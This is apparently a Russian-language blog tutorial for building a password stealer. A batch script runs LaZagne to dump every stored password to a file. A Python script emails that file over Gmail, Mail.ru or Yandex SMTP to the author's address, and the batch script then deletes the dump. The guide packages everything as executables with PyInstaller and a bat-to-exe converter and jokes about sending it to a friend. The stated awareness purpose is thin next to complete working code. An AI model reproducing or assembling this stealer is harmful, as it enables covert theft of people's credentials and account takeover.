December 26, 2018

Стиллер на Python с отправкой по почте

Что будем делать?

Здравствуй, читатель сегодня поговорим о том почему не надо открывать непроверенные файлы скачанные с неизвестных источников и создадим такой файл чтобы понять что он может наделать на вашем ПК. Создавать мы будем стиллер который соберет все наши пароли и отправит их нам по почте.

Что для этого нужно?

Нам понадобится:

  1. Python 3.x.x
  2. Инструмент для восстановления паролей(в нашем случае LaZagne)
  3. Два аккаунта Google

И так начинаем

Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом. Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл send.py.

У нас должна получится такая структура:

Project:

  • laZagne.exe
  • send.py
  • main.bat

Пишем код

Откроем файл main.bat и поместим туда код:

@Echo off
laZagne.exe all > pass.txt

Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором будут все ваши пароли из браузеров(и не только). Осталось только отправить данные на почту. Но как это сделать?

Отправка на почту

Открываем файл send.py и вставляем код:

import smtplib                                              
import os                                                   

import mimetypes                                            
from email import encoders                                  
from email.mime.base import MIMEBase                        
from email.mime.text import MIMEText                        
from email.mime.image import MIMEImage                      
from email.mime.audio import MIMEAudio                      
from email.mime.multipart import MIMEMultipart              

def send_email(addr_from, password, addr_to, files):                            

    msg_subj = 'Password'
    msg_text = 'Password'
    msg = MIMEMultipart()                                   
    msg['From']    = addr_from                              
    msg['To']      = addr_to                                
    msg['Subject'] = msg_subj                               

    body = msg_text                                         
    msg.attach(MIMEText(body, 'plain'))                     

    process_attachement(msg, files)

    #==========Код зависящий от сервиса==========
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(addr_from, password)
    server.send_message(msg)
    server.quit()
        #============================================

def process_attachement(msg, files):                        
    for f in files:
        if os.path.isfile(f):                               
            attach_file(msg,f)                              
        elif os.path.exists(f):                             
            dir = os.listdir(f)                             
            for file in dir:                                
                attach_file(msg,f+"/"+file)                 

def attach_file(msg, filepath):                             
    filename = os.path.basename(filepath)                   
    ctype, encoding = mimetypes.guess_type(filepath)        
    if ctype is None or encoding is not None:              
        ctype = 'application/octet-stream'                  
    maintype, subtype = ctype.split('/', 1)                 
    if maintype == 'text':                                  
        with open(filepath) as fp:                          
            file = MIMEText(fp.read(), _subtype=subtype)    
            fp.close()                                      
    elif maintype == 'image':                               
        with open(filepath, 'rb') as fp:
            file = MIMEImage(fp.read(), _subtype=subtype)
            fp.close()
    elif maintype == 'audio':                               
        with open(filepath, 'rb') as fp:
            file = MIMEAudio(fp.read(), _subtype=subtype)
            fp.close()
    else:                                                   
        with open(filepath, 'rb') as fp:
            file = MIMEBase(maintype, subtype)              
            file.set_payload(fp.read())                     
            fp.close()
            encoders.encode_base64(file)                    
    file.add_header('Content-Disposition', 'attachment', filename=filename) 
    msg.attach(file)                                        

#=====Настройки=================================
_from = "[email protected]"
_password = "password"
_to   = "[email protected]"                                
files = ["pass.txt"]                                    
#=============================================

send_email(_from, _password, _to, files)

Теперь нужно настроить и в зависимости от сервиса по которому будете отправлять почту изменяем выделенный код: Google (прежде нужно разрешить доступ для менее безопасных приложений):

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Mail.ru:

server = smtplib.SMTP_SSL('smtp.mail.ru', 25)
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Yandex:

server = smtplib.SMTP_SSL('smtp.yandex.ru', 465)
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Доделываем .bat

Теперь в наш .bat файл добавим код запуска файла send.py и удаления файла pass.txt:

send.py
del /s "pass.txt"

Сборка

Теперь после запуска main.bat ваши пароли будут отправлены к вам на почту но если у вас не установлен Python то ничего не получится нужно превратить наш send.py файл в exe. Для этого открываем консоль и пишем:

pip install pyinstaller
pyinstaller --onefile send.py

Еще но нужно превратить main.bat файл в main.exe, и в этом нам поможет Bat To Exe Converter. Жмем на кнопку с тремя точками("...") и ищем ваш файл main.bat, жмем "Открыть", после чего жмем "Convert" и получаем файл main.exe. Эти три файла и есть наш стиллер, можем отправлять другу и радоватьсяпроверять на работоспособность.

Ссылки